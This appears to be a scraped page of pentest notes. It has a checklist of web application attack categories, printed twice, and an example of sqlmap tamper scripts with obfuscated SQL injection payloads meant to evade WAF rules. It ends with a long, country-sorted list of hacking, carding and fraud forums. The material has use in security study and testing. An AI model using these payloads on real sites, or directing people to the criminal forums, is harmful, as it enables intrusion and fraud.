webapps attack methods

This list below fits in category Parameter manipulation
Arbitary File Deletion
Code Execution
Cookie Manipulation ( meta http-equiv & crlf injection )
CRLF Injection ( HTTP response splitting )
Cross Frame Scripting ( XFS )
Cross-Site Scripting ( XSS )
Directory traversal
Email Injection
File inclusion
Full path disclosure
LDAP Injection
PHP code injection
PHP curl_exec() url is controlled by user
PHP invalid data type error message
PHP preg_replace used on user input
PHP unserialize() used on user input
Remote XSL inclusion
Script source code disclosure
Server-Side Includes (SSI) Injection
SQL injection
URL redirection
XPath Injection vulnerability
EXIF


This list below fits in category MultiRequest parameter manipulation
Blind SQL injection (timing)
Blind SQL/XPath injection (many types)


This list below fits in category File checks
8.3 DOS filename source code disclosure
Search for Backup files
Cross Site Scripting in URI
PHP super-globals-overwrite
Script errors ( such as the Microsoft IIS Cookie Variable Information Disclosure )


This list below fits in category Directory checks
Cross Site Scripting in path
Cross Site Scripting in Referer
Directory permissions ( mostly for IIS )
HTTP Verb Tampering ( HTTP Verb POST & HTTP Verb WVS )
Possible sensitive files
Possible sensitive files
******* fixation ( j*******id & PHPSESSID ******* fixation )
Vulnerabilities ( e.g. Apache Tomcat Directory Traversal, ASP.NET error message etc )
WebDAV ( very vulnerable component of IIS servers )


This list below fits in category Text Search Disclosure
Application error message
Check for common files
Directory Listing
Email address found
Local path disclosure
Possible sensitive files
Microsoft Office possible sensitive information
Possible internal IP address disclosure
Possible server path disclosure ( Unix and Windows )
Possible username or password disclosure
Sensitive data not encrypted
Source code disclosure
Trojan shell ( r57,c99,crystal shell etc )
( IF ANY )Wordpress database credentials disclosure


This list below fits in category File Uploads
Unrestricted File Upload


This list below fits in category Authentication
Microsoft IIS WebDAV Authentication Bypass
SQL injection in the authentication header
Weak Password
GHDB - Google hacking database ( using dorks to find what google crawlers have found like passwords etc )


This list below fits in category Web Services - Parameter manipulation & with multirequest
Application Error Message ( testing with empty, NULL, negative, big hex etc )
Code Execution
SQL Injection
XPath Injection
Blind SQL/XPath injection ( test for numeric,string,number inputs etc )
Stored Cross-Site Scripting ( XSS )
Cross-Site Request Forgery ( CSRF )

webapps attack methods

This list below fits in category Parameter manipulation
Arbitary File Deletion
Code Execution
Cookie Manipulation ( meta http-equiv & crlf injection )
CRLF Injection ( HTTP response splitting )
Cross Frame Scripting ( XFS )
Cross-Site Scripting ( XSS )
Directory traversal
Email Injection
File inclusion
Full path disclosure
LDAP Injection
PHP code injection
PHP curl_exec() url is controlled by user
PHP invalid data type error message
PHP preg_replace used on user input
PHP unserialize() used on user input
Remote XSL inclusion
Script source code disclosure
Server-Side Includes (SSI) Injection
SQL injection
URL redirection
XPath Injection vulnerability
EXIF


This list below fits in category MultiRequest parameter manipulation
Blind SQL injection (timing)
Blind SQL/XPath injection (many types)


This list below fits in category File checks
8.3 DOS filename source code disclosure
Search for Backup files
Cross Site Scripting in URI
PHP super-globals-overwrite
Script errors ( such as the Microsoft IIS Cookie Variable Information Disclosure )


This list below fits in category Directory checks
Cross Site Scripting in path
Cross Site Scripting in Referer
Directory permissions ( mostly for IIS )
HTTP Verb Tampering ( HTTP Verb POST & HTTP Verb WVS )
Possible sensitive files
Possible sensitive files
******* fixation ( j*******id & PHPSESSID ******* fixation )
Vulnerabilities ( e.g. Apache Tomcat Directory Traversal, ASP.NET error message etc )
WebDAV ( very vulnerable component of IIS servers )


This list below fits in category Text Search Disclosure
Application error message
Check for common files
Directory Listing
Email address found
Local path disclosure
Possible sensitive files
Microsoft Office possible sensitive information
Possible internal IP address disclosure
Possible server path disclosure ( Unix and Windows )
Possible username or password disclosure
Sensitive data not encrypted
Source code disclosure
Trojan shell ( r57,c99,crystal shell etc )
( IF ANY )Wordpress database credentials disclosure


This list below fits in category File Uploads
Unrestricted File Upload


This list below fits in category Authentication
Microsoft IIS WebDAV Authentication Bypass
SQL injection in the authentication header
Weak Password
GHDB - Google hacking database ( using dorks to find what google crawlers have found like passwords etc )


This list below fits in category Web Services - Parameter manipulation & with multirequest
Application Error Message ( testing with empty, NULL, negative, big hex etc )
Code Execution
SQL Injection
XPath Injection
Blind SQL/XPath injection ( test for numeric,string,number inputs etc )
Stored Cross-Site Scripting ( XSS )
Cross-Site Request Forgery ( CSRF )

tamper scripts sqlmap

Tamper scripts modify the request and bypass WAF (Web Application Firewall) rules.

REFER 

https://github.com/sqlmapproject/sqlmap/tree/master/tamper

USAGE

You can check valid and usable tamper scripts in the tamper/ directory.
Example against a MySQL target assuming that > character, spaces and capital SELECT string are banned:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper \
tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
[hh:mm:03] [DEBUG] cleaning up configuration parameters[hh:mm:03] [INFO] loading tamper script 'between'
[hh:mm:03] [INFO] loading tamper script 'randomcase'
[hh:mm:03] [INFO] loading tamper script 'space2comment'
[...]
[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092
[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041
[...]
[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONCAT(cHar(
58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/**/elsE/**/0/**/
ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/information_schema.tables/**/
group/**/bY/**/x)a)
[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING 
clause' injectable [...]

ALL DETAILS

https://github.com/sqlmapproject/sqlmap/wiki/Usage

hackers

German    Back2hack  Back2roots  Buha  Carders  Coderz  Creative Hack  Crimenetwork  District - Network  Faking  Fraud  Hackerboard  Happy - Security  New - Crew   Sahnescript  Secunet  Toolbase   Uniquecrew Np  Virus  Blackhatz  Deceit  Fakersnet  Swissfaking Statistics

Albanian    Albhack  Itshqip  Hackforums Algerian   Arabic    Aljyyosh  Alkrsan  Aoreteam  Arabdmo  Arb - Point  Arhack  Asdely  At4re  Back2hack  Dz - Root  Gaza - Hacker  H4kurd  Hack - School  Is - Sec  Lb - H  Mr11 - 11mr  Ro0ot  Sa3eka  Sama8  Se - Te  Sec4ever  Soqor  V4 - Team  Vbspiders  Dzmafia  Ksa - H4ck Bosnian    Ljuska Bulgarian    Anonbg  Bgworm

Chinese    176ku  2cto  365master  3est  52pojie  54xyzy  Bearcome  Blackbap  Blackhatchina  Ccidnet  Cctry  Chnlanker  Cnciso  Cnsec  Crfly  Eviloctal  Freebuf  Hack99  Hackav  Hackbase  Hackdos  Hackhome  Hackline  Hackvip  Hanzify  Heishou  Hmw  Huc  Hx95  Isbase  Itzhe  Linux520  Myhack58  Nohack  Pediy  Sdly  Unpack  Vfocus Croatia    Blacknet Czech    Security - Portal  Soom

English    Acedhacks  Acehackers  Alboraaq  Andhrahackers  Antionline  Astalavista  Bedgehackersforum  Belegit - Network  Binrev  Black Storm  Blackbay  Blackhat - Activities  Blackhatcracks  Blackhatleaks  Blackhatmafia  Blackhatscene  Blacktrade  C0rrupt  Carderbase  Carderlife  Carderstrade  Cardersunion  Code104  Coderscentral  Coderscentral  Corelan  Crackhackforum  Crackingfire  Crackingforum.com  Crackingforum.in  Crackingzilla  Criticalsecurity  Cyber51  Cyberyobs  D4tabase  Darkforums  Darkode  Darkspot  Ddlpass  Desihacker  Devil - Zone  Digitalgangster  Dl4hack  Dragonz - World  Drhack  Ehackerz  Eliteguys  Enigmagroup  Eon8  Epichackers  Ethicalhacker  Evilzone  Exetools  Flowforums  Garage4hackers  Government Security  Greyhat - Security  GSCentral  H4ck3r  Hack.org.za  HackBB  Hackcommunity  Hackcrackforum  Hackdatabase  Hacker  Hacker - World  Hackerforum  Hackersforum  Hackerstown  Hackerthreads  Hackervoice  Hackerz - Bb  Hackforall  Hackforums  Hackhound   Hackinthebox  Hacksare  Hacksden  Hacksociety  Hacktalk  Hackthis  Hackthissite  Hak5  Hakforums  Heapoverflow  Hellboundhackers  HHfun  Hitb  Hwhack  ic0de  Iexploit  Iforum4u  Imsecure   Insidepro  Intern0t  Isectech  Itsuper  Kernelmode  L33ts  Landzdown  Leetcoders  Madleets  Madtrade  Malwarecity  Memoryhacking  Mohackz  Mymarket  N3ts3c  Nethingoez  Neworder  Nitorhackers  Notioninkhacks  Offensivecomputing  Openrce  Opensc  P0wersurge  Pakbugs  Processhacker  Prvtzone  Pythorat  Qpae  r00tsecurity  Rankmyhack  Reversing  Romhacking  Ryan1918  S-T-D  Sadxforum  Sbhacker  Se - King  Secret - Zone  Securibox  Security Override  Securityxploded  Seoblackhat  Silverspam  Situstarget  Skapadmin  Sla.ckers  Smarthackerz  Snd  Swaghackers  Team - Xpc  Tgsforum  Th3 - 0utl4ws  Thebotnet  Theelit3s  Thehackerwithin  Thieves  Tiger - Attack  Topleakers  Trojanforge  True - Carders  Tuts4you  Ub3rhackers  Ubers  Undergroundhacking  Untangle  Vctools  Viphackforums  Viprasys  Waraxe  Wilderssecurity  Woodmann  World Of Hacker  Worlddumps  X - Cult  Xtremeroot  Y - Fighter  Y - Software  Yahchatter  Zero - Security  Accessroot  Blackhatmoneymaker  Carderunion  Myupdatezone  Sharp - Cyber

French    Blackhost  Crack - Wifi  Fasteam  Ghost - Sec  Hack - Free  Hack4you  Hackademics  Hackbbs  Hackerzvoice  Hackevo  Hackforum  Hacking - Security  Hacktivisme  Malekal  Meziamus  N - Pn  Pandora - Sec  Piratologie  Piratoteam  Ultuifii  W3challs  Zenk - Security  Darknesshack  N1rvana Georgian    Geohack  Hackforums  Hacking Greek    Forumgreek Indonesia    Act - Crew  Black - C0de  Blackrebelions  Borneoattacker  Cbfteam  Chibi - Cyber  Codenesia  Cybercode  Devilzc0de  Echo  Explorecrew  Hacker - Cisadane  Hacker - Newbie  Indonesianblackhat  Indonesianhacker  Indonesianredhat  Indonesiansecurity  Javahack  Jomgegar  Medancyberteam  Palembanghackerlink  Planetwork  Tasikcyber  Xcode  Jemberhacker  Pekanbarucyberteam  Sidempuanhackers

Italian    Hack3ritalia  Hackerforum  Unofficial HJ Malaysian    Hacker - Community  Silenthackers  Tbd  Thegunzcrew Netherlands    Hackflag Persian    Ashiyane  Black - Hg  Datacoders  Emperor - Team  Iranhack  Irist  Kurdhackteam  Persianhack  Rahabit  Shabgard  Yahooaction  Lane Polish    Devilteam   Hack.edu.pl  Hack.pl  Hacker.com.pl  Hacking  Tdhack  Uw - Team Portuguese    Caravana Brasil  Darkers  Forum - Hacker  Guiadohacker  Istf  Pr1v8 Romanian    3xforum  Arenatech  Hackpedia  Thieves - Team

Russian    Ahteam  Antichat  Bit - Team  Brute.name  Brutezone  Bugtraq  Carder.pro  Cih  Comp - Forum  Cyberforum  Damagelab  Dreamhackers  Eof - Project  Exelab  Exploit.in  Fuckav  Grabberz  Hack - Sell  Hack - Stars  Hacker - Pro  Hackersoft  Hackersrussia  Hackzona  Hackzone  Hakepok  Hakerstvo  Hashcracking  Infraud  Ithack  K0d  Kaimi  Kidal  Kodsweb  Kriminala  Lampeduza  Mpro  N2c - Team  Omerta  Phreaker  Prologic  Proxy - Base  Proxy.rx22  Rdot  Reng  Reverse4you  Sa - Sec  Secnull  Security - Teams  Securitylab  Shopworld  Softxaker  Sysadmins  Team - Madalf  Tophope  Truehackers  UINsell  Vazonez  Verified  Vor  Webcriminal  Webkill  X - Hack  Xakep.kz  Xakep.ru  Xakepinter  Xakepok  Xakepy  Xaker  Xakeroff  Xeksec  Zacodim  Zloy  Cardingworld  R00t  Wasm

Serbian   Spanish    Level - 23  Alfahack  Cibernodo  Cl - Security  Corp - 51  Culturahack  Elhacker  Elitehackers  Forohack  Fusionhack  Gabyyhackerteam  Gedzac  Hackxcrack  Hdlsec  I - Hacker  Indetectables  Infiernohacker  Level - 23   Masters - Hackers  Pitbullsecurity  Portalhacker  Udtools  Underc0de  Underground Mexico  Undersecurity  Anonimosx  Code26 Swedish   Thai    Citecclub  Thaishadow

Turkish    1923turk  Ajanlar  Ayyildiz  Comradex  Cryptosuite  Cyber - Warrior  Cybersystemteam  Darkdevilz  Hackturk  Hidden - Sabotage  Imhatimi  Mavi1  Mexfi  Millikuvvetler  Redhatz  Rootwarez  Spycoders  Spyhatz  Tahribat  Trsec  Trteam  Turkbilginhacker  Turkblackhats  Turkhackteam  Turkishajan  Turkishteam  Wardom  Zevkli  Hack.gen.tr  NMTD  Security - Tr Ukrainian   Vietnamese    Ceh  Cin1team  Diendancrack  G - Ug  Hcegroup  Hkvteam  Hvaonline  Idhteam  Khoinguoncongnghe  Nbteam  Reaonline  Sinhvienit  Ugworld  Vhcteam  Vietmatrix  Vnc  Botnetvietnam  Vhbgroup  Vniss  Xgr0up